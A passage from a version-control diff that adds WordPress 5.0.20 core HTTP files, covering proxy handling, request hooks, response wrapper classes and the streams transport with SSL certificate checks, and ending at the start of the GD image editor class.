+		return defined('WP_PROXY_HOST') && defined('WP_PROXY_PORT');
+	}
+
+	/**
+	 * Whether authentication should be used.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @use WP_PROXY_USERNAME
+	 * @use WP_PROXY_PASSWORD
+	 *
+	 * @return bool
+	 */
+	public function use_authentication() {
+		return defined('WP_PROXY_USERNAME') && defined('WP_PROXY_PASSWORD');
+	}
+
+	/**
+	 * Retrieve the host for the proxy server.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function host() {
+		if ( defined('WP_PROXY_HOST') )
+			return WP_PROXY_HOST;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the port for the proxy server.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function port() {
+		if ( defined('WP_PROXY_PORT') )
+			return WP_PROXY_PORT;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the username for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function username() {
+		if ( defined('WP_PROXY_USERNAME') )
+			return WP_PROXY_USERNAME;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the password for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function password() {
+		if ( defined('WP_PROXY_PASSWORD') )
+			return WP_PROXY_PASSWORD;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve authentication string for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function authentication() {
+		return $this->username() . ':' . $this->password();
+	}
+
+	/**
+	 * Retrieve header string for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function authentication_header() {
+		return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() );
+	}
+
+	/**
+	 * Whether URL should be sent through the proxy server.
+	 *
+	 * We want to keep localhost and the site URL from being sent through the proxy server, because
+	 * some proxies can not handle this. We also have the constant available for defining other
+	 * hosts that won't be sent through the proxy.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @staticvar array|null $bypass_hosts
+	 * @staticvar array      $wildcard_regex
+	 *
+	 * @param string $uri URI to check.
+	 * @return bool True, to send through the proxy and false if, the proxy should not be used.
+	 */
+	public function send_through_proxy( $uri ) {
+		/*
+		 * parse_url() only handles http, https type URLs, and will emit E_WARNING on failure.
+		 * This will be displayed on sites, which is not reasonable.
+		 */
+		$check = @parse_url($uri);
+
+		// Malformed URL, can not process, but this could mean ssl, so let through anyway.
+		if ( $check === false )
+			return true;
+
+		$home = parse_url( get_option('siteurl') );
+
+		/**
+		 * Filters whether to preempt sending the request through the proxy server.
+		 *
+		 * Returning false will bypass the proxy; returning true will send
+		 * the request through the proxy. Returning null bypasses the filter.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param null   $override Whether to override the request result. Default null.
+		 * @param string $uri      URL to check.
+		 * @param array  $check    Associative array result of parsing the URI.
+		 * @param array  $home     Associative array result of parsing the site URL.
+		 */
+		$result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home );
+		if ( ! is_null( $result ) )
+			return $result;
+
+		if ( 'localhost' == $check['host'] || ( isset( $home['host'] ) && $home['host'] == $check['host'] ) )
+			return false;
+
+		if ( !defined('WP_PROXY_BYPASS_HOSTS') )
+			return true;
+
+		static $bypass_hosts = null;
+		static $wildcard_regex = array();
+		if ( null === $bypass_hosts ) {
+			$bypass_hosts = preg_split('|,\s*|', WP_PROXY_BYPASS_HOSTS);
+
+			if ( false !== strpos(WP_PROXY_BYPASS_HOSTS, '*') ) {
+				$wildcard_regex = array();
+				foreach ( $bypass_hosts as $host )
+					$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
+				$wildcard_regex = '/^(' . implode('|', $wildcard_regex) . ')$/i';
+			}
+		}
+
+		if ( !empty($wildcard_regex) )
+			return !preg_match($wildcard_regex, $check['host']);
+		else
+			return !in_array( $check['host'], $bypass_hosts );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-requests-hooks.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-requests-hooks.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-requests-hooks.php	(revision 56912)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * HTTP API: Requests hook bridge class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.7.0
+ */
+
+/**
+ * Bridge to connect Requests internal hooks to WordPress actions.
+ *
+ * @since 4.7.0
+ *
+ * @see Requests_Hooks
+ */
+class WP_HTTP_Requests_Hooks extends Requests_Hooks {
+	/**
+	 * Requested URL.
+	 *
+	 * @var string Requested URL.
+	 */
+	protected $url;
+
+	/**
+	 * WordPress WP_HTTP request data.
+	 *
+	 * @var array Request data in WP_Http format.
+	 */
+	protected $request = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @param string $url URL to request.
+	 * @param array $request Request data in WP_Http format.
+	 */
+	public function __construct( $url, $request ) {
+		$this->url = $url;
+		$this->request = $request;
+	}
+
+	/**
+	 * Dispatch a Requests hook to a native WordPress action.
+	 *
+	 * @param string $hook Hook name.
+	 * @param array $parameters Parameters to pass to callbacks.
+	 * @return boolean True if hooks were run, false if nothing was hooked.
+	 */
+	public function dispatch( $hook, $parameters = array() ) {
+		$result = parent::dispatch( $hook, $parameters );
+
+		// Handle back-compat actions
+		switch ( $hook ) {
+			case 'curl.before_send':
+				/** This action is documented in wp-includes/class-wp-http-curl.php */
+				do_action_ref_array( 'http_api_curl', array( &$parameters[0], $this->request, $this->url ) );
+				break;
+		}
+
+		/**
+		 * Transforms a native Request hook to a WordPress actions.
+		 *
+		 * This action maps Requests internal hook to a native WordPress action.
+		 *
+		 * @see https://github.com/rmccue/Requests/blob/master/docs/hooks.md
+		 *
+		 * @param array $parameters Parameters from Requests internal hook.
+		 * @param array $request Request data in WP_Http format.
+		 * @param string $url URL to request.
+		 */
+		do_action_ref_array( "requests-{$hook}", $parameters, $this->request, $this->url );
+
+		return $result;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-requests-response.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-requests-response.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-requests-response.php	(revision 56912)
@@ -0,0 +1,196 @@
+<?php
+/**
+ * HTTP API: WP_HTTP_Requests_Response class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.6.0
+ */
+
+/**
+ * Core wrapper object for a Requests_Response for standardisation.
+ *
+ * @since 4.6.0
+ *
+ * @see WP_HTTP_Response
+ */
+class WP_HTTP_Requests_Response extends WP_HTTP_Response {
+	/**
+	 * Requests Response object.
+	 *
+	 * @since 4.6.0
+	 * @var Requests_Response
+	 */
+	protected $response;
+
+	/**
+	 * Filename the response was saved to.
+	 *
+	 * @since 4.6.0
+	 * @var string|null
+	 */
+	protected $filename;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param Requests_Response $response HTTP response.
+	 * @param string            $filename Optional. File name. Default empty.
+	 */
+	public function __construct( Requests_Response $response, $filename = '' ) {
+		$this->response = $response;
+		$this->filename = $filename;
+	}
+
+	/**
+	 * Retrieves the response object for the request.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return Requests_Response HTTP response.
+	 */
+	public function get_response_object() {
+		return $this->response;
+	}
+
+	/**
+	 * Retrieves headers associated with the response.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @see \Requests_Utility_CaseInsensitiveDictionary
+	 *
+	 * @return \Requests_Utility_CaseInsensitiveDictionary Map of header name to header value.
+	 */
+	public function get_headers() {
+		// Ensure headers remain case-insensitive.
+		$converted = new Requests_Utility_CaseInsensitiveDictionary();
+
+		foreach ( $this->response->headers->getAll() as $key => $value ) {
+			if ( count( $value ) === 1 ) {
+				$converted[ $key ] = $value[0];
+			} else {
+				$converted[ $key ] = $value;
+			}
+		}
+
+		return $converted;
+	}
+
+	/**
+	 * Sets all header values.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param array $headers Map of header name to header value.
+	 */
+	public function set_headers( $headers ) {
+		$this->response->headers = new Requests_Response_Headers( $headers );
+	}
+
+	/**
+	 * Sets a single HTTP header.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $key     Header name.
+	 * @param string $value   Header value.
+	 * @param bool   $replace Optional. Whether to replace an existing header of the same name.
+	 *                        Default true.
+	 */
+	public function header( $key, $value, $replace = true ) {
+		if ( $replace ) {
+			unset( $this->response->headers[ $key ] );
+		}
+
+		$this->response->headers[ $key ] = $value;
+	}
+
+	/**
+	 * Retrieves the HTTP return code for the response.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return int The 3-digit HTTP status code.
+	 */
+	public function get_status() {
+		return $this->response->status_code;
+	}
+
+	/**
+	 * Sets the 3-digit HTTP status code.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param int $code HTTP status.
+	 */
+	public function set_status( $code ) {
+		$this->response->status_code = absint( $code );
+	}
+
+	/**
+	 * Retrieves the response data.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return mixed Response data.
+	 */
+	public function get_data() {
+		return $this->response->body;
+	}
+
+	/**
+	 * Sets the response data.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param mixed $data Response data.
+	 */
+	public function set_data( $data ) {
+		$this->response->body = $data;
+	}
+
+	/**
+	 * Retrieves cookies from the response.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return WP_HTTP_Cookie[] List of cookie objects.
+	 */
+	public function get_cookies() {
+		$cookies = array();
+		foreach ( $this->response->cookies as $cookie ) {
+			$cookies[] = new WP_Http_Cookie( array(
+				'name'    => $cookie->name,
+				'value'   => urldecode( $cookie->value ),
+				'expires' => isset( $cookie->attributes['expires'] ) ? $cookie->attributes['expires'] : null,
+				'path'    => isset( $cookie->attributes['path'] ) ? $cookie->attributes['path'] : null,
+				'domain'  => isset( $cookie->attributes['domain'] ) ? $cookie->attributes['domain'] : null,
+			));
+		}
+
+		return $cookies;
+	}
+
+	/**
+	 * Converts the object to a WP_Http response array.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return array WP_Http response array, per WP_Http::request().
+	 */
+	public function to_array() {
+		return array(
+			'headers' => $this->get_headers(),
+			'body' => $this->get_data(),
+			'response' => array(
+				'code'    => $this->get_status(),
+				'message' => get_status_header_desc( $this->get_status() ),
+			),
+			'cookies' => $this->get_cookies(),
+			'filename' => $this->filename,
+		);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-response.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-response.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-response.php	(revision 56912)
@@ -0,0 +1,153 @@
+<?php
+/**
+ * HTTP API: WP_HTTP_Response class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to prepare HTTP responses.
+ *
+ * @since 4.4.0
+ */
+class WP_HTTP_Response {
+
+	/**
+	 * Response data.
+	 *
+	 * @since 4.4.0
+	 * @var mixed
+	 */
+	public $data;
+
+	/**
+	 * Response headers.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	public $headers;
+
+	/**
+	 * Response status.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $status;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param mixed $data    Response data. Default null.
+	 * @param int   $status  Optional. HTTP status code. Default 200.
+	 * @param array $headers Optional. HTTP header map. Default empty array.
+	 */
+	public function __construct( $data = null, $status = 200, $headers = array() ) {
+		$this->set_data( $data );
+		$this->set_status( $status );
+		$this->set_headers( $headers );
+	}
+
+	/**
+	 * Retrieves headers associated with the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Map of header name to header value.
+	 */
+	public function get_headers() {
+		return $this->headers;
+	}
+
+	/**
+	 * Sets all header values.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $headers Map of header name to header value.
+	 */
+	public function set_headers( $headers ) {
+		$this->headers = $headers;
+	}
+
+	/**
+	 * Sets a single HTTP header.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key     Header name.
+	 * @param string $value   Header value.
+	 * @param bool   $replace Optional. Whether to replace an existing header of the same name.
+	 *                        Default true.
+	 */
+	public function header( $key, $value, $replace = true ) {
+		if ( $replace || ! isset( $this->headers[ $key ] ) ) {
+			$this->headers[ $key ] = $value;
+		} else {
+			$this->headers[ $key ] .= ', ' . $value;
+		}
+	}
+
+	/**
+	 * Retrieves the HTTP return code for the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return int The 3-digit HTTP status code.
+	 */
+	public function get_status() {
+		return $this->status;
+	}
+
+	/**
+	 * Sets the 3-digit HTTP status code.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int $code HTTP status.
+	 */
+	public function set_status( $code ) {
+		$this->status = absint( $code );
+	}
+
+	/**
+	 * Retrieves the response data.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return mixed Response data.
+	 */
+	public function get_data() {
+		return $this->data;
+	}
+
+	/**
+	 * Sets the response data.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param mixed $data Response data.
+	 */
+	public function set_data( $data ) {
+		$this->data = $data;
+	}
+
+	/**
+	 * Retrieves the response data for JSON serialization.
+	 *
+	 * It is expected that in most implementations, this will return the same as get_data(),
+	 * however this may be different if you want to do custom JSON data handling.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return mixed Any JSON-serializable value.
+	 */
+	public function jsonSerialize() {
+		return $this->get_data();
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-streams.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-streams.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-streams.php	(revision 56912)
@@ -0,0 +1,432 @@
+<?php
+/**
+ * HTTP API: WP_Http_Streams class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to integrate PHP Streams as an HTTP transport.
+ *
+ * @since 2.7.0
+ * @since 3.7.0 Combined with the fsockopen transport and switched to `stream_socket_client()`.
+ */
+class WP_Http_Streams {
+	/**
+	 * Send a HTTP request to a URI using PHP Streams.
+	 *
+	 * @see WP_Http::request For default options descriptions.
+	 *
+	 * @since 2.7.0
+	 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
+	 *
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset( $r['headers']['User-Agent'] ) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset( $r['headers']['User-Agent'] );
+		} elseif ( isset( $r['headers']['user-agent'] ) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset( $r['headers']['user-agent'] );
+		}
+
+		// Construct Cookie: header if any cookies are set.
+		WP_Http::buildCookieHeader( $r );
+
+		$arrURL = parse_url($url);
+
+		$connect_host = $arrURL['host'];
+
+		$secure_transport = ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' );
+		if ( ! isset( $arrURL['port'] ) ) {
+			if ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' ) {
+				$arrURL['port'] = 443;
+				$secure_transport = true;
+			} else {
+				$arrURL['port'] = 80;
+			}
+		}
+
+		// Always pass a Path, defaulting to the root in cases such as http://example.com
+		if ( ! isset( $arrURL['path'] ) ) {
+			$arrURL['path'] = '/';
+		}
+
+		if ( isset( $r['headers']['Host'] ) || isset( $r['headers']['host'] ) ) {
+			if ( isset( $r['headers']['Host'] ) )
+				$arrURL['host'] = $r['headers']['Host'];
+			else
+				$arrURL['host'] = $r['headers']['host'];
+			unset( $r['headers']['Host'], $r['headers']['host'] );
+		}
+
+		/*
+		 * Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect
+		 * to ::1, which fails when the server is not set up for it. For compatibility, always
+		 * connect to the IPv4 address.
+		 */
+		if ( 'localhost' == strtolower( $connect_host ) )
+			$connect_host = '127.0.0.1';
+
+		$connect_host = $secure_transport ? 'ssl://' . $connect_host : 'tcp://' . $connect_host;
+
+		$is_local = isset( $r['local'] ) && $r['local'];
+		$ssl_verify = isset( $r['sslverify'] ) && $r['sslverify'];
+		if ( $is_local ) {
+			/**
+			 * Filters whether SSL should be verified for local requests.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param bool $ssl_verify Whether to verify the SSL connection. Default true.
+			 */
+			$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify );
+		} elseif ( ! $is_local ) {
+			/**
+			 * Filters whether SSL should be verified for non-local requests.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param bool $ssl_verify Whether to verify the SSL connection. Default true.
+			 */
+			$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify );
+		}
+
+		$proxy = new WP_HTTP_Proxy();
+
+		$context = stream_context_create( array(
+			'ssl' => array(
+				'verify_peer' => $ssl_verify,
+				//'CN_match' => $arrURL['host'], // This is handled by self::verify_ssl_certificate()
+				'capture_peer_cert' => $ssl_verify,
+				'SNI_enabled' => true,
+				'cafile' => $r['sslcertificates'],
+				'allow_self_signed' => ! $ssl_verify,
+			)
+		) );
+
+		$timeout = (int) floor( $r['timeout'] );
+		$utimeout = $timeout == $r['timeout'] ? 0 : 1000000 * $r['timeout'] % 1000000;
+		$connect_timeout = max( $timeout, 1 );
+
+		// Store error number.
+		$connection_error = null;
+
+		// Store error string.
+		$connection_error_str = null;
+
+		if ( !WP_DEBUG ) {
+			// In the event that the SSL connection fails, silence the many PHP Warnings.
+			if ( $secure_transport )
+				$error_reporting = error_reporting(0);
+
+			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
+				$handle = @stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+			else
+				$handle = @stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+
+			if ( $secure_transport )
+				error_reporting( $error_reporting );
+
+		} else {
+			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
+				$handle = stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+			else
+				$handle = stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+		}
+
+		if ( false === $handle ) {
+			// SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken.
+			if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str )
+				return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
+
+			return new WP_Error('http_request_failed', $connection_error . ': ' . $connection_error_str );
+		}
+
+		// Verify that the SSL certificate is valid for this request.
+		if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) {
+			if ( ! self::verify_ssl_certificate( $handle, $arrURL['host'] ) )
+				return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
+		}
+
+		stream_set_timeout( $handle, $timeout, $utimeout );
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) //Some proxies require full URL in this field.
+			$requestPath = $url;
+		else
+			$requestPath = $arrURL['path'] . ( isset($arrURL['query']) ? '?' . $arrURL['query'] : '' );
+
+		$strHeaders = strtoupper($r['method']) . ' ' . $requestPath . ' HTTP/' . $r['httpversion'] . "\r\n";
+
+		$include_port_in_host_header = (
+			( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) ||
+			( 'http'  == $arrURL['scheme'] && 80  != $arrURL['port'] ) ||
+			( 'https' == $arrURL['scheme'] && 443 != $arrURL['port'] )
+		);
+
+		if ( $include_port_in_host_header ) {
+			$strHeaders .= 'Host: ' . $arrURL['host'] . ':' . $arrURL['port'] . "\r\n";
+		} else {
+			$strHeaders .= 'Host: ' . $arrURL['host'] . "\r\n";
+		}
+
+		if ( isset($r['user-agent']) )
+			$strHeaders .= 'User-agent: ' . $r['user-agent'] . "\r\n";
+
+		if ( is_array($r['headers']) ) {
+			foreach ( (array) $r['headers'] as $header => $headerValue )
+				$strHeaders .= $header . ': ' . $headerValue . "\r\n";
+		} else {
+			$strHeaders .= $r['headers'];
+		}
+
+		if ( $proxy->use_authentication() )
+			$strHeaders .= $proxy->authentication_header() . "\r\n";
+
+		$strHeaders .= "\r\n";
+
+		if ( ! is_null($r['body']) )
+			$strHeaders .= $r['body'];
+
+		fwrite($handle, $strHeaders);
+
+		if ( ! $r['blocking'] ) {
+			stream_set_blocking( $handle, 0 );
+			fclose( $handle );
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		$strResponse = '';
+		$bodyStarted = false;
+		$keep_reading = true;
+		$block_size = 4096;
+		if ( isset( $r['limit_response_size'] ) )
+			$block_size = min( $block_size, $r['limit_response_size'] );
+
+		// If streaming to a file setup the file handle.
+		if ( $r['stream'] ) {
+			if ( ! WP_DEBUG )
+				$stream_handle = @fopen( $r['filename'], 'w+' );
+			else
+				$stream_handle = fopen( $r['filename'], 'w+' );
+			if ( ! $stream_handle ) {
+				return new WP_Error( 'http_request_failed', sprintf(
+					/* translators: 1: fopen() 2: file name */
+					__( 'Could not open handle for %1$s to %2$s.' ),
+					'fopen()',
+					$r['filename']
+				) );
+			}
+
+			$bytes_written = 0;
+			while ( ! feof($handle) && $keep_reading ) {
+				$block = fread( $handle, $block_size );
+				if ( ! $bodyStarted ) {
+					$strResponse .= $block;
+					if ( strpos( $strResponse, "\r\n\r\n" ) ) {
+						$process = WP_Http::processResponse( $strResponse );
+						$bodyStarted = true;
+						$block = $process['body'];
+						unset( $strResponse );
+						$process['body'] = '';
+					}
+				}
+
+				$this_block_size = strlen( $block );
+
+				if ( isset( $r['limit_response_size'] ) && ( $bytes_written + $this_block_size ) > $r['limit_response_size'] ) {
+					$this_block_size = ( $r['limit_response_size'] - $bytes_written );
+					$block = substr( $block, 0, $this_block_size );
+				}
+
+				$bytes_written_to_file = fwrite( $stream_handle, $block );
+
+				if ( $bytes_written_to_file != $this_block_size ) {
+					fclose( $handle );
+					fclose( $stream_handle );
+					return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
+				}
+
+				$bytes_written += $bytes_written_to_file;
+
+				$keep_reading = !isset( $r['limit_response_size'] ) || $bytes_written < $r['limit_response_size'];
+			}
+
+			fclose( $stream_handle );
+
+		} else {
+			$header_length = 0;
+			while ( ! feof( $handle ) && $keep_reading ) {
+				$block = fread( $handle, $block_size );
+				$strResponse .= $block;
+				if ( ! $bodyStarted && strpos( $strResponse, "\r\n\r\n" ) ) {
+					$header_length = strpos( $strResponse, "\r\n\r\n" ) + 4;
+					$bodyStarted = true;
+				}
+				$keep_reading = ( ! $bodyStarted || !isset( $r['limit_response_size'] ) || strlen( $strResponse ) < ( $header_length + $r['limit_response_size'] ) );
+			}
+
+			$process = WP_Http::processResponse( $strResponse );
+			unset( $strResponse );
+
+		}
+
+		fclose( $handle );
+
+		$arrHeaders = WP_Http::processHeaders( $process['headers'], $url );
+
+		$response = array(
+			'headers' => $arrHeaders['headers'],
+			// Not yet processed.
+			'body' => null,
+			'response' => $arrHeaders['response'],
+			'cookies' => $arrHeaders['cookies'],
+			'filename' => $r['filename']
+		);
+
+		// Handle redirects.
+		if ( false !== ( $redirect_response = WP_Http::handle_redirects( $url, $r, $response ) ) )
+			return $redirect_response;
+
+		// If the body was chunk encoded, then decode it.
+		if ( ! empty( $process['body'] ) && isset( $arrHeaders['headers']['transfer-encoding'] ) && 'chunked' == $arrHeaders['headers']['transfer-encoding'] )
+			$process['body'] = WP_Http::chunkTransferDecode($process['body']);
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($arrHeaders['headers']) )
+			$process['body'] = WP_Http_Encoding::decompress( $process['body'] );
+
+		if ( isset( $r['limit_response_size'] ) && strlen( $process['body'] ) > $r['limit_response_size'] )
+			$process['body'] = substr( $process['body'], 0, $r['limit_response_size'] );
+
+		$response['body'] = $process['body'];
+
+		return $response;
+	}
+
+	/**
+	 * Verifies the received SSL certificate against its Common Names and subjectAltName fields.
+	 *
+	 * PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if
+	 * the certificate is valid for the hostname which was requested.
+	 * This function verifies the requested hostname against certificate's subjectAltName field,
+	 * if that is empty, or contains no DNS entries, a fallback to the Common Name field is used.
+	 *
+	 * IP Address support is included if the request is being made to an IP address.
+	 *
+	 * @since 3.7.0
+	 * @static
+	 *
+	 * @param stream $stream The PHP Stream which the SSL request is being made over
+	 * @param string $host The hostname being requested
+	 * @return bool If the cerficiate presented in $stream is valid for $host
+	 */
+	public static function verify_ssl_certificate( $stream, $host ) {
+		$context_options = stream_context_get_options( $stream );
+
+		if ( empty( $context_options['ssl']['peer_certificate'] ) )
+			return false;
+
+		$cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] );
+		if ( ! $cert )
+			return false;
+
+		/*
+		 * If the request is being made to an IP address, we'll validate against IP fields
+		 * in the cert (if they exist)
+		 */
+		$host_type = ( WP_Http::is_ip_address( $host ) ? 'ip' : 'dns' );
+
+		$certificate_hostnames = array();
+		if ( ! empty( $cert['extensions']['subjectAltName'] ) ) {
+			$match_against = preg_split( '/,\s*/', $cert['extensions']['subjectAltName'] );
+			foreach ( $match_against as $match ) {
+				list( $match_type, $match_host ) = explode( ':', $match );
+				if ( $host_type == strtolower( trim( $match_type ) ) ) // IP: or DNS:
+					$certificate_hostnames[] = strtolower( trim( $match_host ) );
+			}
+		} elseif ( !empty( $cert['subject']['CN'] ) ) {
+			// Only use the CN when the certificate includes no subjectAltName extension.
+			$certificate_hostnames[] = strtolower( $cert['subject']['CN'] );
+		}
+
+		// Exact hostname/IP matches.
+		if ( in_array( strtolower( $host ), $certificate_hostnames ) )
+			return true;
+
+		// IP's can't be wildcards, Stop processing.
+		if ( 'ip' == $host_type )
+			return false;
+
+		// Test to see if the domain is at least 2 deep for wildcard support.
+		if ( substr_count( $host, '.' ) < 2 )
+			return false;
+
+		// Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com.
+		$wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host );
+
+		return in_array( strtolower( $wildcard_host ), $certificate_hostnames );
+	}
+
+	/**
+	 * Determines whether this class can be used for retrieving a URL.
+	 *
+	 * @static
+	 * @since 2.7.0
+	 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
+	 *
+	 * @param array $args Optional. Array of request arguments. Default empty array.
+	 * @return bool False means this class can not be used, true means it can.
+	 */
+	public static function test( $args = array() ) {
+		if ( ! function_exists( 'stream_socket_client' ) )
+			return false;
+
+		$is_ssl = isset( $args['ssl'] ) && $args['ssl'];
+
+		if ( $is_ssl ) {
+			if ( ! extension_loaded( 'openssl' ) )
+				return false;
+			if ( ! function_exists( 'openssl_x509_parse' ) )
+				return false;
+		}
+
+		/**
+		 * Filters whether streams can be used as a transport for retrieving a URL.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param bool  $use_class Whether the class can be used. Default true.
+		 * @param array $args      Request arguments.
+		 */
+		return apply_filters( 'use_streams_transport', true, $args );
+	}
+}
+
+/**
+ * Deprecated HTTP Transport method which used fsockopen.
+ *
+ * This class is not used, and is included for backward compatibility only.
+ * All code should make use of WP_Http directly through its API.
+ *
+ * @see WP_HTTP::request
+ *
+ * @since 2.7.0
+ * @deprecated 3.7.0 Please use WP_HTTP::request() directly
+ */
+class WP_HTTP_Fsockopen extends WP_HTTP_Streams {
+	// For backward compatibility for users who are using the class directly.
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-image-editor-gd.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-image-editor-gd.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-image-editor-gd.php	(revision 56912)
@@ -0,0 +1,467 @@
+<?php
+/**
+ * WordPress GD Image Editor
+ *
+ * @package WordPress
+ * @subpackage Image_Editor
+ */
+
+/**
+ * WordPress Image Editor Class for Image Manipulation through GD
+ *
+ * @since 3.5.0
+ *
+ * @see WP_Image_Editor
+ */
+class WP_Image_Editor_GD extends WP_Image_Editor {
+	/**
+	 * GD Resource.
+	 *
+	 * @var resource
+	 */
+	protected $image;
+
+	public function __destruct() {
+		if ( $this->image ) {
+			// we don't need the original in memory anymore
+			imagedestroy( $this->image );
+		}
+	}
+
+	/**
+	 * Checks to see if current environment supports GD.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 *
+	 * @param array $args
+	 * @return bool
+	 */
+	public static function test( $args = array() ) {
+		if ( ! extension_loaded('gd') || ! function_exists('gd_info') )
+			return false;
+
+		// On some setups GD library does not provide imagerotate() - Ticket #11536
+		if ( isset( $args['methods'] ) &&
+			 in_array( 'rotate', $args['methods'] ) &&
+			 ! function_exists('imagerotate') ){
+
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
